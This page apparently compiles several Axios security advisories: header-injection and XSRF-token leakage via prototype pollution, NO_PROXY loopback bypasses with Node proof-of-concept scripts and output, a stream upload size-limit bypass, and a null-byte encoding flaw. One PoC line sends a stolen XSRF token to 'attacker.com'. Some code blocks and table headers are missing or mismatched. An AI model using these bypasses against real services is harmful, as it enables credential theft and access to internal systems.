You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary
The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).
While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.
This vulnerability is unique because it requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.
Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.
Impact Analysis
Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels.
Cache Poisoning: Can inject Host headers to poison shared caches.
Recommended Fix
Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.
Patch Suggestion:
// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});
References
OWASP: CRLF Injection (CWE-113)
This report was generated as part of a security audit of the Axios library.
Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.
This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.
According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.
This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.
PoC
importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);
Expected: Requests bypass the proxy (direct to loopback). Actual: Proxy logs requests for localhost. and [::1].
Impact
Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
Force Axios to send local traffic through an attacker-controlled proxy.
Bypass SSRF mitigations relying on NO_PROXY rules.
Potentially exfiltrate sensitive responses from internal services via the proxy.
Affected Versions
Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.
Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:
Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.
Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion
Summary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.
Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component:lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)
CWE
CWE-201: Insertion of Sensitive Information Into Sent Data
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
Vulnerable Code
File:lib/helpers/resolveConfig.js, lines 57-66
// Line 57: Function check — only applies if withXSRFToken is a functionwithXSRFToken&&utils.isFunction(withXSRFToken)&&(withXSRFToken=withXSRFToken(newConfig));// Line 59: The vulnerable conditionif(withXSRFToken||(withXSRFToken!==false&&isURLSameOrigin(newConfig.url))){// ^^^^^^^^^^^^^^^^// When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits// isURLSameOrigin() is NEVER called → token sent to ANY originconstxsrfValue=xsrfHeaderName&&xsrfCookieName&&cookies.read(xsrfCookieName);if(xsrfValue){headers.set(xsrfHeaderName,xsrfValue);}}
Actual behavior for non-boolean truthy values (1, "false", {}, []):
All treated as truthy → same-origin check skipped → token sent everywhere
Proof of Concept
// Simulated prototype pollution from any vulnerable dependencyObject.prototype.withXSRFToken=1;// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123// Even to cross-origin hosts:awaitaxios.get('https://attacker.com/collect');// → attacker receives the XSRF token in request headers
Verified PoC Output
withXSRFToken Value Sends Token Cross-Origin Expected
true (boolean) YES Yes (opt-in)
false (boolean) No No
undefined (default) No No
1 (number) YES ← BUG No
"false" (string) YES ← BUG No
{} (object) YES ← BUG No
[] (array) YES ← BUG No
Prototype pollution:
Object.prototype.withXSRFToken = 1
config.withXSRFToken = 1 → leaks=true
isURLSameOrigin() was NOT called (short-circuited)
Impact Analysis
XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP
Limitations:
Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
Attacker still needs a way to deliver the forged request after obtaining the token
1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.
Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.
The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.
The Incomplete Patch — This Finding
While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.
The patch introduced a hardcoded set of recognized loopback addresses:
// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.
As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.
Verification
This bypass has been independently verified on:
Axios version: 1.15.0 (latest patched release)
Node.js version: v22.16.0
OS: Kali Linux (rolling)
The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.
2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:
// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
let proxy = configProxy;
if (!proxy && proxy !== false) {
const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var
if (proxyUrl) {
if (!shouldBypassProxy(location)) { // Step 2: Check NO_PROXY
proxy = new URL(proxyUrl); // Step 3: Assign proxy
}
}
}
}
shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.
2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:
Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.
2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:
Fix A normalizeNoProxyHost() (Lines 47–57)
Strips alternate representations before comparison:
Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows 127.0.0.1 and localhost to match each other interchangeably:
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
|| (isLoopback(hostname) && isLoopback(entryHost));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// If both sides are "loopback" → treat as match
Fix C Normalization Applied on Both Sides (Lines 81 & 90)
2.5 The Incomplete Patch Exact Root Cause
The fundamental flaw resides in Line 1:
// lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
// ^^^^^^^^^^^
// Only ONE IPv4 loopback address is recognized.
// The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// ^^^^^^^^^
// Returns FALSE for any 127.x.x.x ≠ 127.0.0.1
*RFC 1122 §3.2.1.3 is unambiguous:
"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."
This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.
// Step 1 — Parse the request URL
parsed = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2" // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy = "localhost,127.0.0.1,::1" // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
// No brackets → skip
// No trailing dot → skip
// Result: "127.0.0.2" (unchanged)
// Step 4 — Iterate over NO_PROXY entries
// Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost" → false
isLoopback("127.0.0.2") → false ← Set.has() returns false
BYPASS starts here
// Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1" → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1" → false
isLoopback("127.0.0.2") && isLoopback("::1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Step 5 — Final return
shouldBypassProxy() → false
// Axios proceeds to route the request through the configured proxy.
// The attacker's proxy server receives the full request including headers
// and any response from the internal service.
2.7 Why the Patch Design Is Flawed
The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).
Aspect
Original Bug
This Finding
What was wrong
No normalization before comparison
Incomplete loopback address set
Fix applied
Added normalizeNoProxyHost()
None set remains hardcoded
RFC compliance
Violated RFC 1034 & RFC 3986
Violates RFC 1122 §3.2.1.3
Bypass method
Alternate string representation
Alternate valid loopback address
Impact
NO_PROXY bypass → SSRF
NO_PROXY bypass → SSRF (identical)
**2.8 Total Exposed Address Space**
Protected by patch: 127.0.0.1 (1 address)
Unprotected loopback: 127.0.0.2
through
127.255.255.254 (16,777,213 addresses)
Real-world services that commonly bind to non-standard loopback addresses include:
Internal microservices and admin dashboards using dedicated loopback IPs
Development environments with multiple isolated service instances
Docker and container bridge network configurations
Test infrastructure allocating sequential loopback IPs across services
3. Comprehensive Attack Vector & Proof of Concept
3.1 Reproduction Steps
Step 1 — Create a fresh project directory
mkdir axios-bypass-test && cd axios-bypass-test
Step 2 — Initialize the project with the patched Axios version
Create package.json:
npm list axios
##### Expected output: axios@1.15.0
Step 3 — Create the PoC file (poc.js)
import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
console.log('\n[!] PROXY HIT — Attacker proxy received request!');
console.log(` Method : ${req.method}`);
console.log(` URL : ${req.url}`);
console.log(` Host : ${req.headers.host}`);
res.writeHead(200);
res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
console.log(`\n[*] Testing: ${url}`);
try {
const res = await axios.get(url, { timeout: 2000 });
if (res.data === 'proxied') {
console.log(' Result → [PROXIED] ← BYPASS CONFIRMED');
} else {
console.log(' Result → [DIRECT] ← Safe, no proxy used');
}
} catch (err) {
if (err.code === 'ECONNREFUSED') {
console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)');
}
}
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
// Section A: Cases fixed by the existing patch — expected to go DIRECT
console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
await test('http://localhost:9191/secret');
await test('http://localhost.:9191/secret');
await test('http://[::1]:9191/secret');
// Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
await test('http://127.0.0.2:9191/secret');
await test('http://127.0.0.100:9191/secret');
await test('http://127.1.2.3:9191/secret');
process.exit(0);
}, 500);
Step 4 — Execute the PoC
node poc.js
3.2 Observed Output
The following output was captured during testing on Kali Linux with Axios 1.15.0:
=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://localhost.:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://[::1]:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.2:9191/secret
Host : 127.0.0.2:9191
Result → [PROXIED] ← BYPASS CONFIRMED
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.100:9191/secret
Host : 127.0.0.100:9191
Result → [PROXIED] ← BYPASS CONFIRMED
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.1.2.3:9191/secret
Host : 127.1.2.3:9191
Result → [PROXIED] ← BYPASS CONFIRMED
3.3 Analysis of Results
The output conclusively demonstrates the following:
Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.
Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.
This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.
4. Impact Assessment
This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.
4.1 Who Is Impacted?
Primary Target — Node.js Backend Applications
Any Node.js application that meets all three of the following conditions is vulnerable:
Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2: Has HTTP_PROXY or HTTPS_PROXY set in its environment
(common in corporate networks, cloud deployments,
containerised environments, and CI/CD pipelines)
Condition 3: Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
to protect loopback or internal services from proxy routing
Affected Deployment Environments
Environment
Risk Level
Cloud-hosted applications (AWS, GCP, Azure)
Critical
Containerised microservices (Docker, Kubernetes)
Critical
Corporate networks with mandatory proxy
High
CI/CD pipelines with proxy environment variables
High
On-premise servers with internal proxy
High
Scale of Exposure
Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.
4.3 Impact Details
Impact 1 Silent Interception of Internal Service Traffic
When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.
Developer expects: Application → 127.0.0.2:8080 (direct)
Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
- Full request URL
- HTTP method
- All request headers (including Authorization, Cookie, API keys)
- Request body (for POST/PUT requests)
- Full response from the internal service
The developer receives no error or warning. From the application's perspective, the request succeeds normally.
Impact 2 — SSRF Mitigation Bypass
Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.
SSRF Protection (as configured by developer):
NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
All loopback/internal addresses
What is actually protected:
Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
127.0.0.2 through 127.255.255.254 (16,777,213 addresses)
An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.
Impact 3 — Cloud Metadata Service Exposure
In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.
While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:
Retrieve temporary IAM credentials
Access environment variables containing secrets
Enumerate internal service configurations
Pivot to other internal services via the compromised credentials
Impact 4 — Confidential Data Exfiltration
Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:
Internal Service Type
Exposed Data
Admin panels / dashboards
User data, configuration, logs
Internal APIs
Business logic, database contents
Secret managers / vaults
API keys, tokens, certificates
Health check endpoints
Infrastructure topology
Development services
Source code, environment variables
Impact 5 — No Indication of Compromise
A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.
4.4 Comparison with Original Vulnerability
Internal Service Type
Exposed Data
Exposed Data
Attack method
Use localhost. or [::1]
Use any 127.x.x.x ≠ 127.0.0.1
Patch status
Fixed in 1.15.0
Not fixed in 1.15.0
CVSS score
9.3 Critical
9.9 Critical or (equivalent)
Attacker effort
Trivial
Trivial
Detection by developer
None
None
Impact
SSRF / proxy bypass
SSRF / proxy bypass (identical)
The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.
5. Technical Remediation & Proposed Fix
5.1 Vulnerable Code Block
The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:
This hardcoded Set is subsequently used at line 108 during the final NO_PROXY match evaluation:
// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1
Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.
5.2 Proposed Patched Code
Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:
All other code in shouldBypassProxy.js remains unchanged. No other files require modification.
5.4 Why This Fix Must Be Applied
Reason 1 — RFC 1122 Compliance
The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.
RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
A datagram sent by a higher-level protocol to a loopback
address MUST NOT appear on any network."
Current fix covers : 3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)
Reason 2 — The Existing Patch Has Already Failed Once
The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.
Reason 3 — Real Operating System Behaviour
On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.
##### Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
##### Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms
Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.
Reason 4 — The Proposed Fix Has Zero Performance Impact
The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:
Two direct string comparisons ('localhost', '::1') — O(1)
A split('.') and array validation — O(1) with a fixed-length array of 4 elements
The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.
Reason 5 — The Fix Is Minimal and Surgical
The proposed change modifies only 3 lines of a single file. It does not alter:
The parseNoProxyEntry() function
The normalizeNoProxyHost() function
The shouldBypassProxy() main function logic
Any other file in the codebase
This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.
Reason 6 — Resilient to Alternative IP Encodings
Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.
5.5 Additional Recommendation — IPv6 Loopback Range
While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:
// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1' // Full notation of ::1
'::ffff:127.0.0.1' // IPv4-mapped IPv6 loopback
'::ffff:7f00:1' // Hex IPv4-mapped IPv6 loopback
Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.
For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.
Details
Relevant flow in lib/adapters/http.js:
556-564: maxBodyLength check applies only to buffered/non-stream data.
694-699: options.maxBodyLength is set, but native transport does not enforce it.
925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.
This creates a path-specific bypass for streamed uploads.
PoC
Environment:
Axios main at commit f7a4ee2
Node v24.2.0
Steps:
Start an HTTP server that counts uploaded bytes and returns {received}.
Send a 2 MiB Readable stream with:
adapter: 'http'
maxBodyLength: 1024
maxRedirects: 0
Observed:
Request succeeds; server reports received: 2097152.
Control checks:
Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.
Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.
Impact
Type: DoS / uncontrolled upstream upload / resource exhaustion.
Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not
resolve IP aliases or loopback equivalents. As a result:
no_proxy=localhost does NOT block 127.0.0.1 or [::1]
no_proxy=127.0.0.1 does NOT block localhost or [::1]
process.env.http_proxy = 'http://127.0.0.1:8888';
console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
await axios.get('http://localhost:7777/');
} catch(e) {
console.log('Error:', e.message);
}
console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
await axios.get('http://127.0.0.1:7777/');
} catch(e) {
console.log('Error:', e.message);
}
fakeProxy.close();
internalServer.close();
});
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)
=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />
Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.
Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.
#### Severity
- CVSS Score: 6.8 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N`
#### References
- [https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm](https://redirect.github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42038](https://nvd.nist.gov/vuln/detail/CVE-2026-42038)
- [https://github.com/advisories/GHSA-m7pr-hjqh-92cm](https://redirect.github.com/advisories/GHSA-m7pr-hjqh-92cm)
This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m7pr-hjqh-92cm) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
[CVE-2026-42040](https://nvd.nist.gov/vuln/detail/CVE-2026-42040) / [GHSA-xhjh-pmcv-23jw](https://redirect.github.com/advisories/GHSA-xhjh-pmcv-23jw)
<details>
<summary>More information</summary>
#### Details
##### Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
##### Summary
The `encode()` function in `lib/helpers/AxiosURLSearchParams.js` contains a character mapping (`charMap`) at line 21 that **reverses** the safe percent-encoding of null bytes. After `encodeURIComponent('\x00')` correctly produces the safe sequence `%00`, the charMap entry `'%00': '\x00'` converts it back to a raw null byte.
This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.
**Severity:** Low (CVSS 3.7)
**Affected Versions:** All versions containing this charMap entry
**Vulnerable Component:** `lib/helpers/AxiosURLSearchParams.js:21`
##### CWE
- **CWE-626:** Null Byte Interaction Error (Poison Null Byte)
- **CWE-116:** Improper Encoding or Escaping of Output
##### CVSS 3.1
